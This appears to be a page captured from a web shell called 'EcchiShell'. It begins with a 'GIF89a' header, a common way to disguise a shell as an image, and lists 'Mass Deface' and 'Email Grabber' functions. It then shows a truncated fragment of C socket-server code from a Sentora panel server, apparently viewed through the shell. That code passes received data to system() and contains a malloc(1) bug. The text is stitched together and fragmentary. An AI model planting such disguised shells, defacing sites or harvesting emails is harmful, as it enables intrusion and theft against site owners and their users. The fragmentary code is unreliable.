GIF89a; EcchiShell v1.0
//scripts/

Mass Deface Email Grabber

sin_addr, ipstr, sizeof ipstr); } else { // AF_INET6 struct sockaddr_in6 *s = (struct sockaddr_in6 *)&addr; inet_ntop(AF_INET6, &s->sin6_addr, ipstr, sizeof ipstr); } printf("Peer IP address: %s\n", ipstr); if (strcmp(ipstr, "127.0.0.1") == 0) { puts("New Client connected from our server"); } else { puts ("Other IP address, Disconnecting") ; close (client_sock) ; continue ; } pthread_t sniffer_thread; new_sock = malloc(1); *new_sock = client_sock; if( pthread_create( &sniffer_thread , NULL , connection_handler , (void*) new_sock) < 0) { perror("could not create thread"); return 1; } //Now join the thread , so that we dont terminate before the thread //pthread_join( sniffer_thread , NULL); } if (client_sock < 0) { perror("accept failed"); return 1; } return 0; } /* * This will handle connection for each client * */ void *connection_handler(void *socket_desc) { //Get the socket descriptor int sock = *(int*)socket_desc; char command_to_exe [900024] ; char client_message [900024] ; char *tmp_fname ; char tmp_fname_res [100] ; char tmp_a [100] ; int read_size ; FILE *fp; tmp_fname = tmpnam (NULL) ; fp = fopen(tmp_fname , "w" ); read_size = recv(sock , client_message , 900024 , 0) ; fwrite(client_message , 1 , read_size , fp ); fclose(fp); sprintf (command_to_exe, "/usr/bin/php -c /etc/sentora/panel/etc/apps/filemanager/php.ini /etc/sentora/panel/modules/server/php-multithreaded-socket-server-master/handle-server.php %s", tmp_fname) ; puts (command_to_exe) ; system (command_to_exe) ; strcpy (tmp_fname_res, tmp_fname) ; strcat (tmp_fname_res, ".res") ; fp = fopen(tmp_fname_res, "r" ); if (fp == NULL) { puts ("file open failled") ; write(sock , "failed_to_open_response_file", strlen("Failed")) ; remove (tmp_fname) ; return NULL; } memset(client_message,0, 900024); fread(client_message, 1, 900024, fp); fclose(fp); write(sock , client_message, strlen(client_message)) ; free(socket_desc); close(sock); remove (tmp_fname) ; remove (tmp_fname_res) ; return 0; }